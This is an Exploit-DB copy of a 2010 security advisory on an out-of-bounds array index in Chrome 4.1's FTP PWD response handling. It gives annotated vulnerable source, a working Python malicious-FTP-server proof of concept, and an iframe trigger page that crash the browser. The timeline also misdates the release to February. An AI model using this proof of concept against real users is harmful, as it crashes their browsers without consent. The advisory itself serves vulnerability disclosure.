Google Chrome 4.1 OOB Array Indexing Bug

2010-04-02T00:00:00
ID EDB-ID:12011
Type exploitdb
Reporter Tobias Klein
Modified 2010-04-02T00:00:00

Description

Google Chrome 4.1 OOB Array Indexing Bug. Dos exploit for windows platform

                                        
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Advisory:               Google Chrome OOB Array Indexing Bug 
Advisory ID:            TKADV2010-004
Revision:               1.0
Release Date:           2010/03/31
Last Modified:          2010/03/31
Date Reported:          2010/03/21
Author:                 Tobias Klein (tk at trapkit.de)
Affected Software:      Google Chrome <= 4.1.249.1042 (Build 42199)
Remotely Exploitable:   Yes
Locally Exploitable:    No
Vendor URL:             http://www.google.com/chrome/
Vendor Status:          Vendor has released an updated version


======================
Vulnerability Details:
======================

Google Chrome is vulnerable to an out-of-bounds array indexing bug, caused 
by the improper handling of FTP PWD command server responses. By persuading
a victim to visit a specially-crafted web site containing an iframe 
pointing to a malicious FTP server, a remote attacker could exploit this 
bug and cause the browser to crash.

This bug affects the trusted browser kernel (privileged supervisor of the 
activities of the sandboxed processes).

Tested Chrome version (Microsoft Windows):

Google Chrome   4.1.249.1042 (Build 42199)
WebKit	        532.5
V8              1.3.18.22
User Agent      Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) 
                AppleWebKit/532.5 (KHTML, like Gecko) 
                Chrome/4.1.249.1042 Safari/532.5


==================
Technical Details:
==================

File: net\ftp\ftp_network_transaction.cc

[..]
int FtpNetworkTransaction::ProcessResponsePWD(const FtpCtrlResponse&
response) {
  switch (GetErrorClass(response.status_code)) {
    case ERROR_CLASS_INITIATED:
      return Stop(ERR_INVALID_RESPONSE);
    case ERROR_CLASS_OK: {
      // The info we look for should be on the first line.
[1]   std::string line = response.lines[0];
      if (line.empty())
        return Stop(ERR_INVALID_RESPONSE);
[2]   std::string::size_type quote_pos = line.find('"');
      if (quote_pos != std::string::npos) {
[3]     line = line.substr(quote_pos + 1);
[4]     quote_pos = line.find('"');
        if (quote_pos == std::string::npos)
          return Stop(ERR_INVALID_RESPONSE);
[5]     line = line.substr(0, quote_pos);
      }
      if (system_type_ == SYSTEM_TYPE_VMS)
        line = FtpUtil::VMSPathToUnix(line);
[6]   if (line[line.length() - 1] == '/')
        line.erase(line.length() - 1);
      current_remote_directory_ = line;
      next_state_ = STATE_CTRL_WRITE_TYPE;
      break;
    }
    case ERROR_CLASS_INFO_NEEDED:
      return Stop(ERR_INVALID_RESPONSE);
    case ERROR_CLASS_TRANSIENT_ERROR:
      return Stop(ERR_FAILED);
    case ERROR_CLASS_PERMANENT_ERROR:
      return Stop(ERR_FAILED);
    default:
      NOTREACHED();
      return Stop(ERR_UNEXPECTED);
  }
  return OK;
}
[..]

[1] The string 'line' points to the FTP server response.
[2] Search for the first double quote (") in the response.
[3] Point one byte after the first double quote.
[4] Find the next double quote.
[5] Extract the substring from the current position until the second   
    double quote.
[6] Check the extracted substring for a '/'.

If the FTP server response consists of two double quotes followed directly 
after each other the code at [5] will result in a substring with a length 
of zero bytes. This leads to an out-of-bounds array index 
(line[0xffffffff]) at [6] that results in an application crash.
 

=================
Proof of Concept:
=================

Malicious FTP server:

K:\BUGS\CHROME>type poc.py
from socket import *
from struct import pack
from time import sleep

host = "0.0.0.0"
port = 21

s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Google Chrome (4.1.249.1042) Denial of Service poc"
print "[+] Listening on port %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]

buffer = "220 Google Chrome (4.1.249.1042) Denial of Service poc"
buffer += "\r\n"
cl.send(buffer)

cl.recv(128)
buffer = "331 Password required for anonymous."
buffer += "\r\n"
cl.send(buffer)

cl.recv(128)
buffer = "230 User anonymous logged in."
buffer += "\r\n"
cl.send(buffer)

cl.recv(128)
buffer = "215 UNIX Type: bib"
buffer += "\r\n"
cl.send(buffer)

cl.recv(128)
buffer = "257 \"\""
buffer += "\r\n"
cl.send(buffer)

print "[+] Sending buffer: OK\n"

sleep(1)
cl.close()
s.close()
- - - - - ---

Start the poc server:

K:\BUGS\CHROME>python poc.py

[+] Google Chrome (4.1.249.1042) Denial of Service poc
[+] Listening on port 21 ...


Open the following sample HTML page in Chrome:

- - - - - ---
<html>
 <body>
  <iframe name="POC" src="ftp://127.0.0.1">
 </body>
<html>
- - - - - ---


========= 
Solution: 
=========

  Update to Google Chrome >= 4.1.249.1045.


==================== 
Disclosure Timeline: 
====================
  
  Format: year/month/day
  
  2010/03/21 - Chromium maintainers notified
  2010/03/22 - Patch developed by Chromium maintainers
  2010/03/30 - Fixed version of Google Chrome is available
  2010/02/22 - Release date of this security advisory


======== 
Credits: 
========

  Vulnerability found and advisory written by Tobias Klein.


=========== 
References: 
===========

 [REF1] http://googlechromereleases.blogspot.com/2010/03/stable-update-
        disable-translate.html
 [REF2] http://bugs.chromium.org/38845
 [REF3] http://www.trapkit.de/advisories/TKADV2010-004.txt


======== 
Changes: 
========

  Revision 0.1 - Initial draft release to the vendor
  Revision 1.0 - Public release


===========
Disclaimer:
===========

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